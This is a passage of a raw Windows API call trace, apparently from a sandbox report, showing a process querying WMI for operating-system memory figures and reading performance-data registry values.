lFlags=0, pVal=0x1d2de060*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1d2de190*=0, plFlavor=0x1d2de188*=0 | out: pVal=0x1d2de060*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XC64ZB\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"XC64ZB\"", varVal2=0x0), pType=0x1d2de190*=8, plFlavor=0x1d2de188*=64) returned 0x0 [0282.832] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"XC64ZB\"") returned 0x72 [0282.832] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"XC64ZB\"") returned 0x72 [0282.832] CoGetObjectContext (in: riid=0x24b1de8*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1d2de0d8 | out: ppv=0x1d2de0d8*=0x4b0108) returned 0x0 [0282.833] IComThreadingInfo:GetCurrentApartmentType (in: This=0x4b0108, pAptType=0x1d2de0c8 | out: pAptType=0x1d2de0c8*=1) returned 0x0 [0282.833] IUnknown:QueryInterface (in: This=0x4b0108, riid=0x24b1dc8*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1d2de0d0 | out: ppvObject=0x1d2de0d0*=0x0) returned 0x80004002 [0282.833] IUnknown:Release (This=0x4b0108) returned 0x1 [0282.834] CoGetClassObject (in: rclsid=0x1b2eae48*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1d2dd4c8 | out: ppv=0x1d2dd4c8*=0x1d497180) returned 0x0 [0282.834] WbemDefPath:IUnknown:QueryInterface (in: This=0x1d497180, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1d2dd5b0 | out: ppvObject=0x1d2dd5b0*=0x0) returned 0x80004002 [0282.835] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1d497180, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd588 | out: ppvObject=0x1d2dd588*=0x4f3b80) returned 0x0 [0282.835] WbemDefPath:IUnknown:Release (This=0x1d497180) returned 0x0 [0282.835] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3b80, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd330 | out: ppvObject=0x1d2dd330*=0x4f3b80) returned 0x0 [0282.835] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3b80, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1d2dd3c0 | out: ppvObject=0x1d2dd3c0*=0x0) returned 0x80004002 [0282.835] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3b80, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1d2dcbb8 | out: ppvObject=0x1d2dcbb8*=0x0) returned 0x80004002 [0282.835] WbemDefPath:IUnknown:AddRef (This=0x4f3b80) returned 0x3 [0282.835] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3b80, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1d2dca78 | out: ppvObject=0x1d2dca78*=0x0) returned 0x80004002 [0282.835] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3b80, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1d2dca00 | out: ppvObject=0x1d2dca00*=0x0) returned 0x80004002 [0282.835] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3b80, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dc9f0 | out: ppvObject=0x1d2dc9f0*=0x1d497380) returned 0x0 [0282.835] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1d497380, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1d2dca18 | out: pCid=0x1d2dca18*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0282.835] WbemDefPath:IUnknown:Release (This=0x1d497380) returned 0x3 [0282.835] CoGetContextToken (in: pToken=0x1d2dcaa0 | out: pToken=0x1d2dcaa0) returned 0x0 [0282.835] CoGetContextToken (in: pToken=0x1d2dcf20 | out: pToken=0x1d2dcf20) returned 0x0 [0282.836] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3b80, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dcfe0 | out: ppvObject=0x1d2dcfe0*=0x0) returned 0x80004002 [0282.836] WbemDefPath:IUnknown:Release (This=0x4f3b80) returned 0x2 [0282.836] WbemDefPath:IUnknown:Release (This=0x4f3b80) returned 0x1 [0282.836] CoGetContextToken (in: pToken=0x1d2ddd10 | out: pToken=0x1d2ddd10) returned 0x0 [0282.836] CoGetContextToken (in: pToken=0x1d2ddc10 | out: pToken=0x1d2ddc10) returned 0x0 [0282.836] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3b80, riid=0x1d2ddd70*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1d2ddd40 | out: ppvObject=0x1d2ddd40*=0x4f3b80) returned 0x0 [0282.836] WbemDefPath:IUnknown:AddRef (This=0x4f3b80) returned 0x3 [0282.836] WbemDefPath:IUnknown:Release (This=0x4f3b80) returned 0x2 [0282.836] WbemDefPath:IWbemPath:SetText (This=0x4f3b80, uMode=0x4, pszPath="\\\\XC64ZB\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"XC64ZB\"") returned 0x0 [0282.836] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1d2f1310, puCount=0x1d2de0f8 | out: puCount=0x1d2de0f8*=0x2) returned 0x0 [0282.836] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de0f0*=0x0, pszText=0x0 | out: puBuffLength=0x1d2de0f0*=0xf, pszText=0x0) returned 0x0 [0282.836] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de0f0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1d2de0f0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0282.836] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1d2f1310, puCount=0x1d2de0c8 | out: puCount=0x1d2de0c8*=0x2) returned 0x0 [0282.836] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de0c0*=0x0, pszText=0x0 | out: puBuffLength=0x1d2de0c0*=0xf, pszText=0x0) returned 0x0 [0282.836] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de0c0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1d2de0c0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0282.836] IWbemClassObject:Get (in: This=0x1b349b20, wszName="FreePhysicalMemory", lFlags=0, pVal=0x1d2de080*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2949808*=0, plFlavor=0x294980c*=0 | out: pVal=0x1d2de080*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="1395304", varVal2=0x0), pType=0x2949808*=21, plFlavor=0x294980c*=0) returned 0x0 [0282.837] SysStringByteLen (bstr="1395304") returned 0xe [0282.837] SysStringByteLen (bstr="1395304") returned 0xe [0282.837] IWbemClassObject:Get (in: This=0x1b349b20, wszName="FreePhysicalMemory", lFlags=0, pVal=0x1d2de0d0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2949808*=21, plFlavor=0x294980c*=0 | out: pVal=0x1d2de0d0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="1395304", varVal2=0x0), pType=0x2949808*=21, plFlavor=0x294980c*=0) returned 0x0 [0282.837] SysStringByteLen (bstr="1395304") returned 0xe [0282.837] SysStringByteLen (bstr="1395304") returned 0xe [0282.837] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1d2f1310, puCount=0x1d2de0c8 | out: puCount=0x1d2de0c8*=0x2) returned 0x0 [0282.837] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de0c0*=0x0, pszText=0x0 | out: puBuffLength=0x1d2de0c0*=0xf, pszText=0x0) returned 0x0 [0282.837] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de0c0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1d2de0c0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0282.837] IWbemClassObject:Get (in: This=0x1b349b20, wszName="TotalVisibleMemorySize", lFlags=0, pVal=0x1d2de080*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2949a00*=0, plFlavor=0x2949a04*=0 | out: pVal=0x1d2de080*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="2096620", varVal2=0x0), pType=0x2949a00*=21, plFlavor=0x2949a04*=0) returned 0x0 [0282.837] SysStringByteLen (bstr="2096620") returned 0xe [0282.837] SysStringByteLen (bstr="2096620") returned 0xe [0282.838] IWbemClassObject:Get (in: This=0x1b349b20, wszName="TotalVisibleMemorySize", lFlags=0, pVal=0x1d2de0d0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2949a00*=21, plFlavor=0x2949a04*=0 | out: pVal=0x1d2de0d0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="2096620", varVal2=0x0), pType=0x2949a00*=21, plFlavor=0x2949a04*=0) returned 0x0 [0282.838] SysStringByteLen (bstr="2096620") returned 0xe [0282.838] SysStringByteLen (bstr="2096620") returned 0xe [0282.838] CoGetContextToken (in: pToken=0x1d2dded0 | out: pToken=0x1d2dded0) returned 0x0 [0282.838] WbemLocator:IUnknown:Release (This=0x1b351868) returned 0x1 [0282.838] IUnknown:Release (This=0x1d35c780) returned 0x0 [0284.947] GetTickCount64 () returned 0xabdfe3 [0284.948] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="238", lpReserved=0x0, lpType=0x1d2ddf88, lpData=0x0, lpcbData=0x1d2ddf80*=0x0 | out: lpType=0x1d2ddf88*=0x3, lpData=0x0, lpcbData=0x1d2ddf80*=0x0) returned 0xea [0284.949] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="238", lpReserved=0x0, lpType=0x1d2ddf88, lpData=0x2a32ab0, lpcbData=0x1d2ddf78*=0xfde8 | out: lpType=0x1d2ddf88*=0x3, lpData=0x2a32ab0*, lpcbData=0x1d2ddf78*=0x438) returned 0x0 [0284.954] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="234", lpReserved=0x0, lpType=0x1d2ddf88, lpData=0x0, lpcbData=0x1d2ddf80*=0x0 | out: lpType=0x1d2ddf88*=0x3, lpData=0x0, lpcbData=0x1d2ddf80*=0x0) returned 0xea [0284.955] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="234", lpReserved=0x0, lpType=0x1d2ddf88, lpData=0x2a43ec8, lpcbData=0x1d2ddf78*=0xfde8 | out: lpType=0x1d2ddf88*=0x3, lpData=0x2a43ec8*, lpcbData=0x1d2ddf78*=0xea8) returned 0x0 [0284.958] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1d2f1310, puCount=0x1d2de258 | out: puCount=0x1d2de258*=0x2) returned 0x0 [0284.958] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de250*=0x0, pszText=0x0 | out: puBuffLength=0x1d2de250*=0xf, pszText=0x0) returned 0x0 [0284.959] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de250*=0xf, pszText="00000000000000" | out: puBuffLength=0x1d2de250*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0284.959] CoGetObjectContext (in: riid=0x24b1de8*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1d2de1d8 | out: ppv=0x1d2de1d8*=0x4b0108) returned 0x0 [0284.959] IComThreadingInfo:GetCurrentApartmentType (in: This=0x4b0108, pAptType=0x1d2de1c8 | out: pAptType=0x1d2de1c8*=1) returned 0x0 [0284.959] IUnknown:QueryInterface (in: This=0x4b0108, riid=0x24b1dc8*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1d2de1d0 | out: ppvObject=0x1d2de1d0*=0x0) returned 0x80004002 [0284.959] IUnknown:Release (This=0x4b0108) returned 0x1 [0284.960] CoGetClassObject (in: rclsid=0x1b2eb4c8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1d2dd898 | out: ppv=0x1d2dd898*=0x1d496d60) returned 0x0 [0284.960] WbemLocator:IUnknown:QueryInterface (in: This=0x1d496d60, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1d2dd980 | out: ppvObject=0x1d2dd980*=0x0) returned 0x80004002 [0284.960] WbemLocator:IClassFactory:CreateInstance (in: This=0x1d496d60, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd958 | out: ppvObject=0x1d2dd958*=0x1d4971c0) returned 0x0 [0284.960] WbemLocator:IUnknown:Release (This=0x1d496d60) returned 0x0 [0284.960] WbemLocator:IUnknown:QueryInterface (in: This=0x1d4971c0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd700 | out: ppvObject=0x1d2dd700*=0x1d4971c0) returned 0x0 [0284.960] WbemLocator:IUnknown:QueryInterface (in: This=0x1d4971c0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1d2dd790 | out: ppvObject=0x1d2dd790*=0x0) returned 0x80004002 [0284.960] WbemLocator:IUnknown:QueryInterface (in: This=0x1d4971c0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1d2dcf88 | out: ppvObject=0x1d2dcf88*=0x0) returned 0x80004002 [0284.961] WbemLocator:IUnknown:AddRef (This=0x1d4971c0) returned 0x3 [0284.961] WbemLocator:IUnknown:QueryInterface (in: This=0x1d4971c0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1d2dce48 | out: ppvObject=0x1d2dce48*=0x0) returned 0x80004002 [0284.961] WbemLocator:IUnknown:QueryInterface (in: This=0x1d4971c0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1d2dcdd0 | out: ppvObject=0x1d2dcdd0*=0x0) returned 0x80004002 [0284.961] WbemLocator:IUnknown:QueryInterface (in: This=0x1d4971c0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dcdc0 | out: ppvObject=0x1d2dcdc0*=0x0) returned 0x80004002 [0284.961] CoGetContextToken (in: pToken=0x1d2dce70 | out: pToken=0x1d2dce70) returned 0x0 [0284.961] CoGetContextToken (in: pToken=0x1d2dd2f0 | out: pToken=0x1d2dd2f0) returned 0x0 [0284.961] WbemLocator:IUnknown:QueryInterface (in: This=0x1d4971c0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd3b0 | out: ppvObject=0x1d2dd3b0*=0x0) returned 0x80004002 [0284.961] WbemLocator:IUnknown:Release (This=0x1d4971c0) returned 0x2 [0284.961] WbemLocator:IUnknown:Release (This=0x1d4971c0) returned 0x1 [0284.961] CoGetContextToken (in: pToken=0x1d2ddd30 | out: pToken=0x1d2ddd30) returned 0x0 [0284.961] CoGetContextToken (in: pToken=0x1d2ddc30 | out: pToken=0x1d2ddc30) returned 0x0 [0284.961] WbemLocator:IUnknown:QueryInterface (in: This=0x1d4971c0, riid=0x1d2ddd90*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1d2ddd60 | out: ppvObject=0x1d2ddd60*=0x1d4971c0) returned 0x0 [0284.961] WbemLocator:IUnknown:AddRef (This=0x1d4971c0) returned 0x3 [0284.961] WbemLocator:IUnknown:Release (This=0x1d4971c0) returned 0x2 [0284.961] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1d2f1310, puCount=0x1d2de168 | out: puCount=0x1d2de168*=0x2) returned 0x0 [0284.961] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=8, puBuffLength=0x1d2de160*=0x0, pszText=0x0 | out: puBuffLength=0x1d2de160*=0xf, pszText=0x0) returned 0x0 [0284.961] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=8, puBuffLength=0x1d2de160*=0xf, pszText="00000000000000" | out: puBuffLength=0x1d2de160*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0284.961] CoCreateInstance (in: rclsid=0x7ffa716666a8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ffa71666708*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1d2ddeb0 | out: ppv=0x1d2ddeb0*=0x1d496e00) returned 0x0 [0284.961] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1d496e00, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1d2de028 | out: ppNamespace=0x1d2de028*=0x1d474720) returned 0x0 [0285.794] WbemLocator:IUnknown:QueryInterface (in: This=0x1d474720, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2ddd28 | out: ppvObject=0x1d2ddd28*=0x1b351ea0) returned 0x0 [0285.794] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1b351ea0, pProxy=0x1d474720, pAuthnSvc=0x1d2dddf0, pAuthzSvc=0x1d2ddd70, pServerPrincName=0x1d2ddd98, pAuthnLevel=0x1d2ddd74, pImpLevel=0x1d2ddd80, pAuthInfo=0x1d2ddda8, pCapabilites=0x1d2ddd84 | out: pAuthnSvc=0x1d2dddf0*=0xa, pAuthzSvc=0x1d2ddd70*=0x0, pServerPrincName=0x1d2ddd98, pAuthnLevel=0x1d2ddd74*=0x6, pImpLevel=0x1d2ddd80*=0x2, pAuthInfo=0x1d2ddda8, pCapabilites=0x1d2ddd84*=0x1) returned 0x0 [0285.794] WbemLocator:IUnknown:Release (This=0x1b351ea0) returned 0x1 [0285.794] WbemLocator:IUnknown:QueryInterface (in: This=0x1d474720, riid=0x7ffa71666518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2ddcc0 | out: ppvObject=0x1d2ddcc0*=0x1b351ee8) returned 0x0 [0285.794] WbemLocator:IUnknown:QueryInterface (in: This=0x1d474720, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2ddcd0 | out: ppvObject=0x1d2ddcd0*=0x1b351ea0) returned 0x0 [0285.794] WbemLocator:IClientSecurity:SetBlanket (This=0x1b351ea0, pProxy=0x1d474720, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0285.795] WbemLocator:IUnknown:Release (This=0x1b351ea0) returned 0x2 [0285.795] WbemLocator:IUnknown:Release (This=0x1b351ee8) returned 0x1 [0285.795] CoTaskMemFree (pv=0x1d471d70) [0285.795] WbemLocator:IUnknown:Release (This=0x1d496e00) returned 0x0 [0285.795] WbemLocator:IUnknown:QueryInterface (in: This=0x1d474720, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd7c0 | out: ppvObject=0x1d2dd7c0*=0x1b351ee8) returned 0x0 [0285.795] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351ee8, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1d2dd850 | out: ppvObject=0x1d2dd850*=0x0) returned 0x80004002 [0285.903] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351ee8, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1d2dd470 | out: ppvObject=0x1d2dd470*=0x0) returned 0x80004002 [0285.965] WbemLocator:IUnknown:QueryInterface (in: This=0x1d474720, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1d2dd048 | out: ppvObject=0x1d2dd048*=0x0) returned 0x80004002 [0286.076] WbemLocator:IUnknown:AddRef (This=0x1b351ee8) returned 0x3 [0286.076] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351ee8, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1d2dcf08 | out: ppvObject=0x1d2dcf08*=0x0) returned 0x80004002 [0286.076] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351ee8, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1d2dce90 | out: ppvObject=0x1d2dce90*=0x0) returned 0x80004002 [0286.076] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351ee8, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dce80 | out: ppvObject=0x1d2dce80*=0x1b351dc8) returned 0x0 [0286.076] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b351dc8, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1d2dcea8 | out: pCid=0x1d2dcea8*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0286.076] WbemLocator:IUnknown:Release (This=0x1b351dc8) returned 0x3 [0286.076] CoGetContextToken (in: pToken=0x1d2dcf30 | out: pToken=0x1d2dcf30) returned 0x0 [0286.076] CoGetContextToken (in: pToken=0x1d2dd3b0 | out: pToken=0x1d2dd3b0) returned 0x0 [0286.076] WbemLocator:IUnknown:QueryInterface (in: 